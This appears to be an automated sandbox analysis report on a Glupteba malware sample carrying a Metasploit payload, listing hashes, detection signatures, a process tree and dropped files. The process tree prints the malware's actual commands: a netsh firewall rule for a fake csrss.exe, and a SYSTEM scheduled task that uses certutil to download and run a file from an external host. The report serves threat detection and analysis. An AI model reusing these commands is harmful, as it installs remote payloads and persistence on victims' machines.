Analysis

  • max time kernel
    163s
  • max time network
    168s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    14-06-2022 20:03

General

  • Target

    2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe

  • Size

    3.8MB

  • MD5

    0008ce45286bd379fd0ca42e9fb79b0d

  • SHA1

    36a1027956ca5db32a88ae77cae4451407d5cf06

  • SHA256

    2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae

  • SHA512

    24ae62addfe69e9f79011d206b52c12a21503227eb387313ad597a5b043e6a718c9be92e884c184fed75e5b3e7f9e7debe106856d235e945ab26ec9612098f6d

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba Payload 7 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
  • Executes dropped EXE 2 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Modifies boot configuration data using bcdedit 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
    "C:\Users\Admin\AppData\Local\Temp\2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:5076
    • C:\Users\Admin\AppData\Local\Temp\2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
      "C:\Users\Admin\AppData\Local\Temp\2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe"
      2⤵
      • Adds Run key to start application
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5068
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2096
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:4540
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4976
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:3484
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:4712
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:1964
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:4120
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
    1⤵
    • Suspicious use of NtCreateUserProcessOtherParentProcess
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4180

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

  • C:\Windows\rss\csrss.exe

    Filesize

    3.8MB

    MD5

    0008ce45286bd379fd0ca42e9fb79b0d

    SHA1

    36a1027956ca5db32a88ae77cae4451407d5cf06

    SHA256

    2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae

    SHA512

    24ae62addfe69e9f79011d206b52c12a21503227eb387313ad597a5b043e6a718c9be92e884c184fed75e5b3e7f9e7debe106856d235e945ab26ec9612098f6d

  • C:\Windows\rss\csrss.exe

    Filesize

    3.8MB

    MD5

    0008ce45286bd379fd0ca42e9fb79b0d

    SHA1

    36a1027956ca5db32a88ae77cae4451407d5cf06

    SHA256

    2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae

    SHA512

    24ae62addfe69e9f79011d206b52c12a21503227eb387313ad597a5b043e6a718c9be92e884c184fed75e5b3e7f9e7debe106856d235e945ab26ec9612098f6d

  • memory/1964-147-0x0000000000000000-mapping.dmp

  • memory/2096-135-0x0000000000000000-mapping.dmp

  • memory/3484-145-0x0000000000000000-mapping.dmp

  • memory/4120-149-0x0000000000000000-mapping.dmp

  • memory/4540-136-0x0000000000000000-mapping.dmp

  • memory/4712-144-0x0000000000000000-mapping.dmp

  • memory/4976-139-0x0000000000000000-mapping.dmp

  • memory/4976-143-0x0000000003C00000-0x0000000003FA7000-memory.dmp

    Filesize

    3.7MB

  • memory/4976-150-0x0000000000400000-0x000000000334F000-memory.dmp

    Filesize

    47.3MB

  • memory/4976-146-0x0000000000400000-0x000000000334F000-memory.dmp

    Filesize

    47.3MB

  • memory/5068-137-0x00000000037E4000-0x0000000003B8B000-memory.dmp

    Filesize

    3.7MB

  • memory/5068-138-0x0000000000400000-0x000000000334F000-memory.dmp

    Filesize

    47.3MB

  • memory/5068-133-0x0000000000000000-mapping.dmp

  • memory/5068-142-0x0000000000400000-0x000000000334F000-memory.dmp

    Filesize

    47.3MB

  • memory/5076-134-0x0000000000400000-0x000000000334F000-memory.dmp

    Filesize

    47.3MB

  • memory/5076-131-0x0000000003BC0000-0x00000000043C2000-memory.dmp

    Filesize

    8.0MB

  • memory/5076-132-0x0000000000400000-0x000000000334F000-memory.dmp

    Filesize

    47.3MB

  • memory/5076-130-0x000000000380F000-0x0000000003BB6000-memory.dmp

    Filesize

    3.7MB